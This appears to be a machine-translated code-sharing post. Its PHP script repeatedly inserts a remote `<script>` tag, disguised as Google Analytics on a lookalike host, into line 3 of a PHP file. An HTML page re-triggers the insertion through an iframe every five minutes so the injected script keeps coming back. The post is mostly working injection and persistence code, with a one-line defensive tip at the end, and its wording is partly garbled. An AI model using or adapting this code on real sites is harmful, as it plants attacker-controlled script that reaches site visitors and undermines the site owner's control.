php writes the code in the file specified line

2020-05-16 06:37:42
OfStack

 
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

Once the file is saved as php, a small program can be used to specify its execution every few minutes. Browsers like operia have this feature. But I've added an html code to run it, so I can use ie, open this html and throw it somewhere.

 
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/ The above php file .php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

Solution: these codes will be written in php code, we can write a rule to prohibit the modification of php file